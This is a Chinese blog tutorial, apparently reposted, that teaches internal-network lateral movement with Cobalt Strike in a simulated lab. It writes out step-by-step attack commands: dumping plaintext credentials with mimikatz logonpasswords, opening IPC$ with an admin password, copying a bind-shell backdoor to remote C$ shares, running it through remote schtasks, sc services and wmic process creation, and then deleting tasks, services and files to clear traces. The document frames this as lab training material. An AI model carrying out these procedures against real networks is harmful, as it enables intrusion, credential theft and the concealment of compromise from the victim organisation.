其他分享
首页 > 其他分享> > CS内网横向移动 模拟渗透实操 超详细

CS内网横向移动 模拟渗透实操 超详细

作者:互联网

@Webkio

前言:

最近在跟朋友搞一些项目玩,所以最近没怎么更新内容
接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白。
本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自负。码字截图不易,转载记得署名。

微信关注公众号: JiuZhouSec 不定期更新渗透干货,适合小白学习。九州大地,一起Dayday UP!
image.png

模拟内网靶场 进行内网实验 我将从以下几点简述:
【上线边界机器】-【内网渗透】-【横向移动】-【痕迹清除】
实验码字不易,转载文章请署名

实验对象

这边基于之前的文章 对内网网络拓扑进行了新的配置:
工作站:Vmware workstation;Cobalt Strike 4.3
VPS:141.164.40.209
PC1 边界机器:192.168.18.100[NAT];192.168.19.140[仅主机]
PC2 内网机器:192.168.19.142[仅主机 不出网] 192.168.20.129[仅主机 不出网]
PC3 内网机器:192.168.20.128[仅主机 不出网]
操作环境:Windows server 2008 R2 sp1
image.png
实验环境须知:无杀软 无拦截
此篇文章仅供 内网模拟攻击 参考。黑客攻击手法通常是建立在免杀绕过的方法上,渗透测试本身就是“逆天而行”的事情。模拟靶机,是为了更直观的发现内网的薄弱点,深化网安价值。


IPC连接简述(445端口共享链接)

IPC 共享命名管道,连接445端口,提供账户密码后,可以进行默认文件共享及资源管理
139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。

利用前提条件:
1. 开放139 445(SMB) 端口 (默认)
2. 目标开启 IPC 共享服务 (默认)
3. 要有管理员账户密码 (默认)

利用方法:

内置工具:IPC+schtasks(写计划任务上线beacon)

schtasks是Windows的网络计划任务
这边利用PC1与PC2简历的IPC连接 写计划任务上线内网机器PC2
利用Windows内置工具是可以尽量绕过杀软,服务查杀的一种手法,仅供参考。

1. 让PC1 边界机器上线

CS建立监听器
image.png

2. 生成一个后门 并利用漏洞上传至边界机器PC1 并运行

image.png
image.png
image.png

3. 观察CS视图表 PC1边界机器上线

image.png

4. 获取beacon后 进入 并刷新会话时间 ---> sleep 0
5. 这里可以上传Fscan、或者利用CS 内置工具进行内网端口扫描操作

image.png

6. 这边对192.168.19.0网段下139,445进行端口扫描

image.png

7. 这里通过端口进行了端口存活探测 192.168.19.143的139 445开启

image.png

8. 尝试获取目标边界机器的明文密码 (这一步能获取的到就获取 该实验均是在上帝视角下进行)

部分运维人员的边界机器与内网机器为了便于使用 登入密码可能都是同一个密码
image.png

9. 利用边界机器PC1 建立与 PC2 192.168.19.143的IPC连接

image.png

image.png

在模拟环境下 PC2是不出网的 对于不出网的机器 我们可以采取正向shell的方式获取shell

10. 在CS上创建正向监听,创建一个后门通过PC1与PC2建立的IPC连接上传后门程序并执行

上传前的PC2 机器目录下的文件内容:shell dir \192.168.19.143\c$
image.png
创建正向监听器: 这边指定的端口 要记好 7228
image.png
建立一个无状态的windows后门程序
image.png
image.png

11. 将在攻击机(本机)上利用CS创建的正向后门上传至PC1

image.png

12. 由IPC连接 通过PC1 上传文件至PC2 C盘下

shell dir
image.png
shell copy bind.exe \192.168.19.143\c$
image.png
image.png

13. 写schtasks 计划任务 执行bind.exe 创建计划任务

shell schtasks /create /s 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
shell schtasks /create 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
指令剖析:
schtasks -指定schtask方法
/create -创建
/s -system权限
/sc -指定创建的类型
/tn -指定计划任务名
/tr -需要运行的程序或命令
/mo -指定程序或命令执行的时间间隔,单位为分钟
image.png
因为是正向shell 需要攻击机连接靶机 这里只有PC1可以与PC2建立交互 故在PC1的beacon中建立与PC2的连接 执行如下:
connect 192.168.19.143 7228
image.png
PC2成功上线 这里一个小细节 图标后的链接图标 即代表PC2是通过PC1建立的连接
image.png
进入beacon
image.png
这里我们可以看到在PC2 【192.168.19.143】这台主机下 还有一张192.168.20.132的网卡 我们可以利用以上第五步介绍的方法进行端口探测 再尝试利用PC2建立与PC3的IPC连接 通过PC2使PC3上线

提供步骤思路【就不截图了 码字有点手酸】:

14. 痕迹清除 删除计划任务

这边创建的计划任务名是什么要记好哦 /tn 指定计划名 删错了就GG了
schtasks /delete /s 192.168.19.143 /tn test /f

内置工具:IPC+SC(services.msc服务控制器)

通过Windows服务的管理策略,创建新的服务,执行后门程序

  1. 内网渗透的第一步 永远是先利用漏洞让能出网的边界机器 这里是让PC1【192.168.19.140】上线CS

image.png

  1. 通过端口扫描 探测存活IP 是否开启139或445端口 这是建立IPC连接的前提

image.png

  1. logonpasswords 获取明文密码

这边CS中的 logonpasswords 是通过访问本地安全认证子系统服务进程“lsass.exe”获取明文密码
logonpasswords的技术 通过调用 "mimikatz"实现
image.png
image.png

  1. 建立IPC连接

shell net use \192.168.19.142 /user:Administrator "admin@123"
image.png

  1. 通过CS的文件管理器上传正向shell至边界机器

image.png

  1. 将bind.exe 通过PC1上传至PC2中去

image.png

  1. 利用IPC连接 在PC1上为PC2 创建一个服务

shell sc \192.168.19.142 create kiotest binpath= 'C:\bind.exe'
image.png
这边需要注意一点 SC等于号"=" 和 "值"之间要有空格 这边好像是CS4.3版本的一个小bug
可以详见截图的细节。

这边观察PC2 kiotest这个进程已在不出网的PC2服务策略中生成
image.png

这里通过sc qc [服务名] 可以查看对应服务的详细信息
shell sc \192.168.19.142 qc kiotest
image.png

  1. 这边创建的服务需要手动开启 如下:

shell sc \192.168.19.142 kiotest
启动192.168.19.142的kiotest 服务,其实就是让服务去寻找C盘下的bind.exe并启动
image.png
这里因为是 图文表述 具体效果 我们可以反复实验以 证明通过IPC连接去创建服务-启动服务的一个过程。
image.png

  1. bind.exe成功运行后 通过PC1连接PC2 上线

connect 192.168.19.142 7228
生成的正向shell 和 反弹shell的端口都要做个记录哦 因为这里的实验都是上帝视角,正常来说我们是不能直接看PC2的图形化界面的。如果忘了端口 不就白打了吗
image.png
image.png
image.png
细心的人应该发现了 上线的是一个192.168.20.0网段的机器。说明该网段下可能还存有PC3、PC4等等。
这里类似于IPC+schtasks的方法 层层递进的进行攻击就好了,思路在上面也能看到

  1. 最后 痕迹清除

shell sc \192.168.19.142 delete [服务名]

image.png

image.png

内置工具:IPC+WMIC

WMIC是Windows的远程管理控制器,通过远程管理目标机器,可以直接在目标中进行一些操作
wmic和cmd一样在所有的windows版本中都存在,同时wmic有很多cmd下不方便使用的部分

这边wmic的方法同上 大同小异 方法多多益善

  1. 同样让边界机器先上线,对边界机器进行内网信息收集,存活探测、配置信息收集、凭据信息等
  2. 通过凭据信息、存活探测 系统配置 利用边界机器建立与PC2机器的IPC连接
  3. 建立完IPC连接之后 我们可以利用wmic查询远程机器的进程信息

shell wmic /node:192.168.19.142 process list brief
image.png
小技巧:wmic执行一些命令是没有回显结果的 我们可以通过将执行命令的结果写入文件 再查看
shell wmic /node:192.168.19.142 process call create "cmd.exe /c ipconfig > C:\result.txt"
image.png
shell type \192.168.19.142\c$\result.txt
image.png
生成image.png

  1. 通过边界机器 创建正向后门并上传至靶机(PC2)

监听
image.png
后门
image.png
上传语法:shell copy bind.exe \192.168.19.142\c$
当前目录下进行上传“bind.exe” 至 靶机的C盘下

  1. 通过wmic执行后门 并连接 上线PC2

执行:
shell wmic /node:192.168.19.142 process call create "C:bind.exe"
image.png
连接上线:
connect 192.168.19.142 7228
image.png

  1. 痕迹清除 结束进程 并 删除执行程序
    利用PC2的beacon结束进程 , 即断开
    利用IPC连接删除执行程序
    shell del \192.168.19.142\C$\bind.exe

以下简单的介绍两种不常用的内置工具 winrs和WinRM 用法同上三种大同小异

内置工具:winrs(域)

要求:目标机器 5985端口打开,如果没有开,可以手动开启(在渗透测试中不常用)
靶机手动开启 winrm quickconfing -q 【! 网络状态是家庭网络 或 工作网络 才能打开】

内置工具:WinRM( 域 两台机器5985端口都要打开)

在靶机手动开启 winrm quickconfing -q
这两种同是在边界机器沦陷的基础下,进行存活探测,建立IPC连接等,去进行横向移动渗透测试的操作。

过几天整理一篇外部工具的利用。如有错误不足,劳纠正,互相学习,共建网安!

标签:IPC,shell,机器,PC2,PC1,192.168,实操,CS,内网
来源: https://www.cnblogs.com/Webkio/p/16534828.html